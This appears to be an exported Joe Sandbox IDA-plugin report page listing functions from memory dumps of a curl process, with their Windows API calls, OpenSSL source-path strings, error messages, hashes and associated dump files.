Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: %s resides on a read-only file system.$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 1452528299-798752981
Opcode ID: ee65b7c092d542585b35260daaf8fe42946ce850efc2a1198dc776d1a0f7eccd
Instruction ID: 9d1c881071990bc70c7dd040c545a9c304c30c4972fb877ed4ae6f81c10b3511
Opcode Fuzzy Hash: ee65b7c092d542585b35260daaf8fe42946ce850efc2a1198dc776d1a0f7eccd
Instruction Fuzzy Hash: 340144A7B02120328424225E7C5AEEF5B19DDD2FF7724893FF50FE40926A44455571B2

Function 00A735EE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00A736B7,?), ref: 00A73608
GetProcAddress.KERNEL32(00000000), ref: 00A7360F
EncodePointer.KERNEL32(00000000), ref: 00A7361B
DecodePointer.KERNEL32(00000001,00A736B7,?), ref: 00A73638

Strings

RoInitialize, xrefs: 00A735F7
combase.dll, xrefs: 00A73603

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 9ba7f280b57157c408eb29096f6aa7640b89c4c3000bf469c4f341daff83c9c1
Instruction ID: 23a37d1abb27767d97daff00161768f0aaab109c536ce6403045cf475bb90947
Opcode Fuzzy Hash: 9ba7f280b57157c408eb29096f6aa7640b89c4c3000bf469c4f341daff83c9c1
Instruction Fuzzy Hash: 06E0E5746D5601ABEB10AFB8EC89B953BB5A710722F508464B10AD31E0DEB44146EB59

Function 00A736C3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00A735DD), ref: 00A736DD
GetProcAddress.KERNEL32(00000000), ref: 00A736E4
EncodePointer.KERNEL32(00000000), ref: 00A736EF
DecodePointer.KERNEL32(00A735DD), ref: 00A7370A

Strings

RoUninitialize, xrefs: 00A736CC
combase.dll, xrefs: 00A736D8

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 760e0ea00d3da6e6c4738c36fb8eb03e038ab8c045fb2f982dc82dd48e98aacc
Instruction ID: 342ef7042f5531ce8df93594c609a864f53314d3c4e5b89ce350173b8f86b9c1
Opcode Fuzzy Hash: 760e0ea00d3da6e6c4738c36fb8eb03e038ab8c045fb2f982dc82dd48e98aacc
Instruction Fuzzy Hash: BFE092B1588600EBDB60AFA5AC49B443B75B700711F60C914F10AD31E4CFB48546EB59

Function 009F22E0 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 278COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,0000018E), ref: 009F2508

Strings

..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F2542
',', xrefs: 009F2526
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F2503
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009F2577
fopen(', xrefs: 009F252C

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('
API String ID: 1452528299-946823011
Opcode ID: 7c55a262f7ff0df059cdb582a8d9015317d842056ff46a01c4423550b0c470e6
Instruction ID: a5aced75b3490fd03aa93113b3d8fd61fee3bb2df64faa8cd994c4226b1fdbe5
Opcode Fuzzy Hash: 7c55a262f7ff0df059cdb582a8d9015317d842056ff46a01c4423550b0c470e6
Instruction Fuzzy Hash: 32815D726083484BD724DF289C417FBB789EF85355F0849B9FB858B291D76BDC098391

Function 0098EFB0 Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009B85F0: getaddrinfo.WS2_32(?,?,?,?), ref: 009B860B
Part of subcall function 009B85F0: freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 009B8710

WSAGetLastError.WS2_32 ref: 0098F004
WSAGetLastError.WS2_32 ref: 0098F00A
EnterCriticalSection.KERNEL32(?), ref: 0098F021
LeaveCriticalSection.KERNEL32(?), ref: 0098F02F
DeleteCriticalSection.KERNEL32(00000000), ref: 0098F03C
LeaveCriticalSection.KERNEL32(?), ref: 0098F087

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CriticalSection$ErrorLastLeave$DeleteEnterfreeaddrinfogetaddrinfo
String ID:
API String ID: 2133702940-0
Opcode ID: 2b060ba8c3994f08423d089c67eaeff6ebef5be344c6a6060531d5d55dc5ede6
Instruction ID: 4a42bfbe76bd26e4bf9b7581a8459eb35e66984b2b586972825be65069767b10
Opcode Fuzzy Hash: 2b060ba8c3994f08423d089c67eaeff6ebef5be344c6a6060531d5d55dc5ede6
Instruction Fuzzy Hash: 5F214771200305ABD720EF68DC55F1BB7E9BF88304F01492DE59A922A2DB75E9058BA1

Function 0098F270 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,?,?,0098D2A7), ref: 0098F288
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0098F296

Strings

proxy, xrefs: 0098F301, 0098F31D
host, xrefs: 0098F30D
Could not resolve %s: %s, xrefs: 0098F31E

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: Could not resolve %s: %s$host$proxy
API String ID: 528846559-2205167006
Opcode ID: ee2181f1d6df412915c93b6e8dcb2b57671c334509d2727cd528e6d25520ddd7
Instruction ID: 610c91ef71d3bc7ad284d70d955c77b159ebb826cfe10a28ecc2149f48ff083a
Opcode Fuzzy Hash: ee2181f1d6df412915c93b6e8dcb2b57671c334509d2727cd528e6d25520ddd7
Instruction Fuzzy Hash: D421D1B12052049FDF10AF28C8A4BAA77A8EB48354F5841BDED568F387DBB15845CB68

Function 00A34E70 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,?,?,?), ref: 00A34EB9

Strings

..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 00A351AB
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 00A351C6
mac_size <= MAX_MAC_SIZE, xrefs: 00A3521E
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 00A35228

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$mac_size <= MAX_MAC_SIZE
API String ID: 1452528299-292904039
Opcode ID: 32902e0d8f48dc08776971f195b254821351ea573ca1f81c9c5f852d545bc12a
Instruction ID: ab21810c81611fd4b443b62fec14091575b0adfcfd536bd132ac11fc72e50614
Opcode Fuzzy Hash: 32902e0d8f48dc08776971f195b254821351ea573ca1f81c9c5f852d545bc12a
Instruction Fuzzy Hash: 0D41A030A007049FD324DF58C985B66B7E2FF84718F54452DF6464BAD1D7B6E885CB81

Function 00A74046 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

AreFileApisANSI.KERNEL32(00975539,00000109,00000000,?,00A738E3,?,00000000,00000000,?,00A7387A,00A70DD6,00975539,?,00975539,?,00000040), ref: 00A74079
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00975539,00000109,00000000,?,00A738E3,?,00000000,00000000,?,00A7387A), ref: 00A74093
GetLastError.KERNEL32(?,00A738E3,?,00000000,00000000,?,00A7387A,00A70DD6,00975539,?,00975539,?,00000040,00000000,00AB7B60,00000014), ref: 00A740A0

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ApisByteCharErrorFileLastMultiWide
String ID:
API String ID: 1538486781-0
Opcode ID: 73f5281d8b33df4323b3abc78c7765e0d2b3dd6317e5cc4410866cfaa54dd373
Instruction ID: f4787006f7bcab16806bf4e2707a64771036db6e7f9344f95206eb890e30b3cd
Opcode Fuzzy Hash: 73f5281d8b33df4323b3abc78c7765e0d2b3dd6317e5cc4410866cfaa54dd373
Instruction Fuzzy Hash: 2911C475604215AFEB20AFF0DD04E3A7BBDEF18765F20C528FA59C6180EB38C8028760

Function 00A80314 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,00A802F1,?,00AB7FA8,0000000C,00A803D7,?,?,00A741C5,00A7EE8B), ref: 00A80327
DecodePointer.KERNEL32(?,?,?,?,?,00A802F1,?,00AB7FA8,0000000C,00A803D7,?,?,00A741C5,00A7EE8B), ref: 00A80332
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A802F1,?,00AB7FA8,0000000C,00A803D7,?,?,00A741C5,00A7EE8B), ref: 00A80399
EncodePointer.KERNEL32(?,?,?,?,?,?,00A802F1,?,00AB7FA8,0000000C,00A803D7,?,?,00A741C5,00A7EE8B), ref: 00A803A7
EncodePointer.KERNEL32(00000000,?,?,?,?,?,00A802F1,?,00AB7FA8,0000000C,00A803D7,?,?,00A741C5,00A7EE8B), ref: 00A803B3

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Pointer$Encode$Decode
String ID:
API String ID: 1898114064-0
Opcode ID: 3c14cc1c80c15217791259288dc1ebafc19ed8979b67236ba52c311af3bb4e6a
Instruction ID: 58bcfd4212abbe55319369e0f53d1e0d0ae008787c81419b7020ef28f4f22c83
Opcode Fuzzy Hash: 3c14cc1c80c15217791259288dc1ebafc19ed8979b67236ba52c311af3bb4e6a
Instruction Fuzzy Hash: 6D112672605215AFDB40EB74DC84CAA7BEDEB04390B504536E806C7251EF30FC499BA0

Function 00A7EEAB Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00A7EEB0
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00A7EEE4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 00A7EF0A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A7EF1E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00A7EF29

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 84e88307f1f4818e0ab94d1f0cd96be39c326b77845871e9b6f26245f247cee2
Instruction ID: 14538fc15dfcef1288463905cbfead6ed0f0b7386fd816b879a62aa185684b5e
Opcode Fuzzy Hash: 84e88307f1f4818e0ab94d1f0cd96be39c326b77845871e9b6f26245f247cee2
Instruction Fuzzy Hash: 8F0152B6A04256BBAB30EBF55C4CC3BBBBCDE59755314C96AFC09D3180EA658C41C2B1

